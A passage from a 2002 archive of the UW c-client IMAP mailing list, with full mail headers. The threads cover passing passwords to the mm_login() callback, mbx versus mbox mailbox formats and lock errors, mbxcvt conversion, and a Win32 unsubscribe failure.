that into the callback (get the data pointer > from MAILSTREAM data). It can't be from MAILSTREAM, since mail_open() is likely to create the MAILSTREAM and thus it didn't exist before you called mail_open(). However, the NETMBX structure should have everything you need. Note that you do need to copy the "user" member of the NETMBX structure to the returned user if its first byte is non-null: strcpy (user,mb->user); c-client ensures that mb->user can't overflow user, so it's alright to use strcpy(). From pinedev@shivax2.cac.washington.edu Thu Apr 25 14:53:14 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 25 Apr 2002 14:53:14 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3PLrDXG011256 for ; Thu, 25 Apr 2002 14:53:13 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Thu Apr 25 14:53:13 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3PLrCmT021749; Thu, 25 Apr 2002 14:53:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3PLq4eo010180; Thu, 25 Apr 2002 14:52:04 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3PLp0w3039672 for ; Thu, 25 Apr 2002 14:51:00 -0700 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Thu Apr 25 14:51:04 2002 -0700 Received: from ts2.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3PLp3re017276 for ; Thu, 25 Apr 2002 14:51:03 -0700 Received: from i3-113.bynari.net ([192.168.3.113] helo=samadams.bynari.net) by ts2.bynari.net with esmtp (Exim 3.33 #2) id 170rwi-0005EC-00; Thu, 25 Apr 2002 17:42:36 -0500 Message-Id: <1019771482.14427.4.camel@samadams.bynari.net> Date: 25 Apr 2002 16:51:21 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Shawn Walker To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: User's Password In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 2002-04-25 at 16:20, Mark Crispin wrote: > On 25 Apr 2002 16:12:05 -0500, Shawn Walker wrote: > > Is there a way that I can pass/store a user's password before calling > > mail_open(). I want don't want to give the password in mm_login() > > callback function because I can't store a global varible since the > > application need to be threaded-safe and globals don't work well in that > > environment. > > Globals work perfectly well in threaded applications. You just have to > understand the implications of threading when using globals. Yes, you > probably don't want to have a > char *password; > since another thread could change it in between the time that you set it and > it is referenced by mm_login(). Yes, I know it's a myth, it just that people have to know *how* to use globals in a threaded environments which people should put a lock around the global data before accessing and relase the lock when done. But I was just hoping that there was something else in the c-client that I could use to pass the information (user's password) into c-cliebt before calling mail_open(). > > On the other hand, if you have some sort of list of passwords and the > associated host and/or mailbox name for each password, then it is a relatively > simple matter to use the data from the first argument (a NETMBX*) to locate > the correct password and use it. How would I know what the address of NETBMX before calling mail_open() so that I can create a list of passwords? > > Let me emphasize again that the myth that "globals don't work in threaded > applications" is just that: a myth. Globals work perfectly well, as long as > you understand how threading interacts with globals. > > > Another possiblity is that would be great is to pass my data pointer to > > a session that can pass that into the callback (get the data pointer > > from MAILSTREAM data). > > It can't be from MAILSTREAM, since mail_open() is likely to create the > MAILSTREAM and thus it didn't exist before you called mail_open(). However, > the NETMBX structure should have everything you need. Note that you do need > to copy the "user" member of the NETMBX structure to the returned user if its > first byte is non-null: > strcpy (user,mb->user); > c-client ensures that mb->user can't overflow user, so it's alright to use > strcpy(). > I'm already using NETMBX "user" member in mm_login(). Thanks for the help. From pinedev@shivax2.cac.washington.edu Thu Apr 25 21:19:02 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 25 Apr 2002 21:19:02 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3Q4J2XG022983 for ; Thu, 25 Apr 2002 21:19:02 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Thu Apr 25 21:19:01 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3Q4J1Ps021831; Thu, 25 Apr 2002 21:19:01 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3Q4I6lZ015082; Thu, 25 Apr 2002 21:18:06 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3Q4FFw3046434 for ; Thu, 25 Apr 2002 21:15:15 -0700 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Thu Apr 25 21:15:19 2002 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3Q4FJIe002967 for ; Thu, 25 Apr 2002 21:15:19 -0700 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.18]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3Q4FJFJ030511 for ; Thu, 25 Apr 2002 21:15:19 -0700 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Thu Apr 25 21:15:18 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3Q4FIjv008700 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Thu, 25 Apr 2002 21:15:18 -0700 Message-Id: Date: Thu, 25 Apr 2002 21:15:17 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: re: User's Password In-Reply-To: <1019771482.14427.4.camel@samadams.bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@CAC.Washington.EDU X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 25 Apr 2002, Shawn Walker wrote: > How would I know what the address of NETBMX before calling mail_open() > so that I can create a list of passwords? You won't. You have to examine the data inside the NETMBX and correlate it with your cached list of passwords. Pine does this, so you might want to look at Pine's code. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Fri Apr 26 05:48:01 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 26 Apr 2002 05:48:01 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3QCm1XG006238 for ; Fri, 26 Apr 2002 05:48:01 -0700 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Fri Apr 26 05:48:00 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3QCm0Ps030854; Fri, 26 Apr 2002 05:48:00 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3QClFR8038828; Fri, 26 Apr 2002 05:47:15 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3QCj5w3041356 for ; Fri, 26 Apr 2002 05:45:05 -0700 Received: FROM mxu1.u.washington.edu BY mailscan6.cac.washington.edu ; Fri Apr 26 05:45:11 2002 -0700 Received: from crushdv.com (pool-162-83-196-16.ny5030.east.verizon.net [162.83.196.16]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3QCjAc6031053 for ; Fri, 26 Apr 2002 05:45:11 -0700 Received: from [192.168.0.228] ([192.168.0.228] verified) by crushdv.com (CommuniGate Pro SMTP 3.5) with ESMTP id 1104914 for c-client@u.washington.edu; Fri, 26 Apr 2002 08:00:54 -0500 Message-Id: Date: Fri, 26 Apr 2002 08:45:06 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Robert Gange To: Subject: Lost Mailbox Lock/Mailbox Types In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN HELO list! I'm relatively new to configuring IMAP on unix/linux. I've setup a system (RedHat 7.2) for a small office that has mail arriving directly to sendmail and then delivered locally. It also runs fetchmail for certain accounts and delivers through procmail. All users access their mail through imap (2001a). Clients range from OutLook Express on Mac to Netscape 6.2 under Windows 98 (OK, not a very big range). After reading the docs, particularly formats.txt, I decided that 'mbx' is the way I need to go as two of the mailboxes need to have shared access. By everything I've read, mbx seems to be the default mailbox format, enabled by default. But on some of those mailboxes, I get 'lost mailbox lock' even when only 1 person is checking their mail. Also, I brought one user over from another system already in mbox format. What conversion tools are available to convert mbox to mbx? Thanks for any tips and pointers. -- Robert Gange -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Apr 26 18:14:44 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 26 Apr 2002 18:14:43 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3R1EhXG031429 for ; Fri, 26 Apr 2002 18:14:43 -0700 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Fri Apr 26 18:14:42 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3R1EgPs019314; Fri, 26 Apr 2002 18:14:42 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3R1Crqt023036; Fri, 26 Apr 2002 18:12:53 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3R1ANw3034356 for ; Fri, 26 Apr 2002 18:10:23 -0700 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Fri Apr 26 18:10:23 2002 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3R1ANIe028625 for ; Fri, 26 Apr 2002 18:10:23 -0700 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3R1ANFJ020504 for ; Fri, 26 Apr 2002 18:10:23 -0700 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Fri Apr 26 18:10:22 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3R1ALjv023325 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Fri, 26 Apr 2002 18:10:21 -0700 Message-Id: Date: Fri, 26 Apr 2002 18:10:20 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Robert Gange Cc: c-client@u.washington.edu Subject: Re: Lost Mailbox Lock/Mailbox Types In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@CAC.Washington.EDU X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 26 Apr 2002, Robert Gange wrote: > After reading the docs, particularly formats.txt, I decided that 'mbx' is > the way I need to go as two of the mailboxes need to have shared access. So far, so good. I assume that you also know that only applications based upon the c-client library (imapd, ipop[23]d, Pine, etc.) can read mbx format files? > By everything I've read, mbx seems to be the default mailbox format, enabled > by default. No it is not. The default mailbox format is traditional UNIX mailbox format, also called "mbox" format (note the "o"), which is supported by just about every UNIX mail program ever written. > But on some of those mailboxes, I get 'lost mailbox lock' even > when only 1 person is checking their mail. That proves that you are using traditional UNIX mailbox format. Maybe only one person is checking his mail, but on the IMAP server end, you'll find that it's two processes. Most likely, it is a poorly-designed client that spawned the second process. Well-designed clients, such as Pine, do not have this problem. > Also, I brought one user over from another system already in mbox format. > What conversion tools are available to convert mbox to mbx? The UW imap-utils toolkit: ftp://ftp.cac.washington.edu/mail/imap-utils.tar.Z has several programs which can be of use in conversion/management of mailboxes. Most notable for your purposes is mbxcvt. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. "A single glass of champagne imparts a feeling of exhiliaration. The nerves are braced; the imagination is agreeably strirred; the wits become more nimble. A bottle produces a contrary effect. Excess causes a comatose insensibility. So it is with war; and the quality of both is best discovered by sipping." -- Winston Churchill From pinedev@shivax2.cac.washington.edu Mon Apr 29 05:40:02 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 29 Apr 2002 05:40:02 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3TCe2XG026449 for ; Mon, 29 Apr 2002 05:40:02 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Mon Apr 29 05:39:59 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3TCdxPs015016; Mon, 29 Apr 2002 05:39:59 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3TCdBqt026032; Mon, 29 Apr 2002 05:39:11 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3TCZXw3017628 for ; Mon, 29 Apr 2002 05:35:34 -0700 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Mon Apr 29 05:35:33 2002 -0700 Received: from crushdv.com (pool-162-83-198-64.ny5030.east.verizon.net [162.83.198.64]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3TCZWre027440 for ; Mon, 29 Apr 2002 05:35:33 -0700 Received: from [192.168.0.228] ([192.168.0.228] verified) by crushdv.com (CommuniGate Pro SMTP 3.5) with ESMTP id 1105078 for c-client@u.washington.edu; Mon, 29 Apr 2002 07:51:27 -0500 Message-Id: Date: Mon, 29 Apr 2002 08:35:23 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Robert Gange To: Subject: Re: Lost Mailbox Lock/Mailbox Types In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 4/26/02 9:10 PM, "Mark Crispin" MRC@CAC.Washington.EDU pressed the keys forming the message: > On Fri, 26 Apr 2002, Robert Gange wrote: >> After reading the docs, particularly formats.txt, I decided that 'mbx' is >> the way I need to go as two of the mailboxes need to have shared access. > > So far, so good. I assume that you also know that only applications based > upon the c-client library (imapd, ipop[23]d, Pine, etc.) can read mbx > format files? Right - even though the clients use OutLook and Netscape remotely, it's still imap accessing the files on the server. I really don't have any shell users accessing mail locally. >> By everything I've read, mbx seems to be the default mailbox format, enabled >> by default. > > No it is not. The default mailbox format is traditional UNIX mailbox > format, also called "mbox" format (note the "o"), which is supported by > just about every UNIX mail program ever written. Got it. >> But on some of those mailboxes, I get 'lost mailbox lock' even >> when only 1 person is checking their mail. > > That proves that you are using traditional UNIX mailbox format. > > Maybe only one person is checking his mail, but on the IMAP server end, > you'll find that it's two processes. Most likely, it is a poorly-designed > client that spawned the second process. Understood - I know OutLook tends to open multiple connections to a single host/mailbox. > Well-designed clients, such as Pine, do not have this problem. > >> Also, I brought one user over from another system already in mbox format. >> What conversion tools are available to convert mbox to mbx? > > The UW imap-utils toolkit: > ftp://ftp.cac.washington.edu/mail/imap-utils.tar.Z > has several programs which can be of use in conversion/management of > mailboxes. Most notable for your purposes is mbxcvt. I'll go fetch it. But first, some more questions - will I just be able to run mbxcvt on the server, and imap will deal with it when users try to access their mail? Can I only convert the INBOX folder, or each mailbox in the users mail folder? What is the default location of an mbx mail folder? /var/spool/mail? Thanks very much, Mark. -- Robert Gange From pinedev@shivax2.cac.washington.edu Mon Apr 29 06:51:05 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 29 Apr 2002 06:51:05 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3TDp5XG027887 for ; Mon, 29 Apr 2002 06:51:05 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Apr 29 06:51:04 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3TDp3Ps016279; Mon, 29 Apr 2002 06:51:03 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3TDoEeo055960; Mon, 29 Apr 2002 06:50:14 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3TDmiw3055452 for ; Mon, 29 Apr 2002 06:48:44 -0700 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Mon Apr 29 06:48:42 2002 -0700 Received: from web13004.mail.yahoo.com (web13004.mail.yahoo.com [216.136.174.14]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3TDmgc6025427 for ; Mon, 29 Apr 2002 06:48:42 -0700 Received: from [193.140.36.149] by web13004.mail.yahoo.com via HTTP; Mon, 29 Apr 2002 06:48:41 PDT Message-Id: <20020429134841.47593.qmail@web13004.mail.yahoo.com> Date: Mon, 29 Apr 2002 06:48:41 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: ferhat kurt To: c-client@u.washington.edu Subject: adding new user via sign up MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have problems about how to people take e-mail addreses. I am using php but I couldn't manage that.Thank you for your attention.. __________________________________________________ Do You Yahoo!? Yahoo! Health - your guide to health and wellness http://health.yahoo.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Apr 29 18:26:07 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 29 Apr 2002 18:26:07 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3U1Q7XG026680 for ; Mon, 29 Apr 2002 18:26:07 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Mon Apr 29 18:26:06 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3U1Q5mT014716; Mon, 29 Apr 2002 18:26:06 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3U1PGR8019364; Mon, 29 Apr 2002 18:25:16 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3U1Ntw3014524 for ; Mon, 29 Apr 2002 18:23:55 -0700 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Apr 29 18:23:54 2002 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3U1NsZB016887 for ; Mon, 29 Apr 2002 18:23:54 -0700 Received: from mailscan-out2.cac.washington.edu (mailscan-out2.cac.washington.edu [140.142.33.17]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3U1NsFJ000583 for ; Mon, 29 Apr 2002 18:23:54 -0700 Received: FROM smtp.washington.edu BY mailscan-out2.cac.washington.edu ; Mon Apr 29 18:23:53 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3U1Nrkx003600 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Mon, 29 Apr 2002 18:23:53 -0700 Message-Id: Date: Mon, 29 Apr 2002 18:23:52 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Robert Gange Cc: c-client@u.washington.edu Subject: Re: Lost Mailbox Lock/Mailbox Types In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@CAC.Washington.EDU X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 29 Apr 2002, Robert Gange wrote: > will I just be able to > run mbxcvt on the server, and imap will deal with it when users try to > access their mail? imapd automatically detects the mailbox format and uses that format. If the user has both an mbx format INBOX and a traditional UNIX format mail spool INBOX, imapd automatically moves messages from the traditional UNIX format mail spool INBOX to the mbx format INBOX. > Can I only convert the INBOX folder, or each mailbox in > the users mail folder? That is up to you. > What is the default location of an mbx mail folder? File "INBOX" on the user's home directory. > /var/spool/mail? That's reserved for traditional UNIX format. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. "A single glass of champagne imparts a feeling of exhiliaration. The nerves are braced; the imagination is agreeably strirred; the wits become more nimble. A bottle produces a contrary effect. Excess causes a comatose insensibility. So it is with war; and the quality of both is best discovered by sipping." -- Winston Churchill From pinedev@shivax2.cac.washington.edu Tue Apr 30 18:43:12 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 30 Apr 2002 18:43:12 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g411hCXG016840 for ; Tue, 30 Apr 2002 18:43:12 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue Apr 30 18:43:07 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g411h7mT025382; Tue, 30 Apr 2002 18:43:07 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g411g1R8035414; Tue, 30 Apr 2002 18:42:01 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g411dow3049940 for ; Tue, 30 Apr 2002 18:39:50 -0700 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Apr 30 18:39:49 2002 -0700 Received: from mta6.snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g411dnre031072 for ; Tue, 30 Apr 2002 18:39:49 -0700 Received: from instantservers.com ([63.193.225.140]) by mta6.snfc21.pbi.net (iPlanet Messaging Server 5.1 (built May 7 2001)) with ESMTP id <0GVE00FPLSMCZR@mta6.snfc21.pbi.net> for c-client@u.washington.edu; Tue, 30 Apr 2002 18:39:49 -0700 (PDT) Message-Id: <3CCF474A.17650AEA@instantservers.com> Date: Tue, 30 Apr 2002 18:39:22 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Carl Stehle To: c-client@u.washington.edu Subject: Unsubscribe problem on Win32 MIME-version: 1.0 Content-type: multipart/alternative; boundary="Boundary_(ID_+JwH9wobws1jHcxyiIBzdg)" X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --Boundary_(ID_+JwH9wobws1jHcxyiIBzdg) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT When unsubscribing a folder on Windows, we are getting the error message: "UNSUBSCRIBE failed: Can't update subscription database" One explanation is that rename() does not overwrite files on Windows (i.e. MAILBOX.LST with MAILBOX.TMP). Although patching with an overwriting version of rename() works, that explanation seemed a little too obvious... perhaps I am missing something? Other than the non-standard driver discussion back in March, I did not see anything related to this already on the list. We are using the c-client subscription manager and imap2002 (21 February 2002). Thanks in advance for any advice, Carl -- Carl Stehle -- InstantServers, Inc. (650)938-8046 http://instantservers.com --Boundary_(ID_+JwH9wobws1jHcxyiIBzdg) Content-type: text/html; charset=us-ascii Content-transfer-encoding: 7BIT When unsubscribing a folder on Windows, we are getting
    the error message:

    "UNSUBSCRIBE failed: Can't update subscription database"

    One explanation is that rename() does not overwrite
    files on Windows (i.e. MAILBOX.LST with MAILBOX.TMP).
    Although patching with an overwriting version of rename()
    works, that explanation seemed a little too obvious...
    perhaps I am missing something?

    Other than the non-standard driver discussion back in
    March, I did not see anything related to this already
    on the list. We are using the c-client subscription manager
    and imap2002 (21 February 2002).

    Thanks in advance for any advice,
    Carl

    --
    Carl Stehle -- InstantServers, Inc. (650)938-8046
    http://instantservers.com
      --Boundary_(ID_+JwH9wobws1jHcxyiIBzdg)-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Apr 30 19:02:15 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 30 Apr 2002 19:02:15 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4122FXG017333 for ; Tue, 30 Apr 2002 19:02:15 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Apr 30 19:02:14 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4122DPs019064; Tue, 30 Apr 2002 19:02:13 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4121gqt017434; Tue, 30 Apr 2002 19:01:42 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id 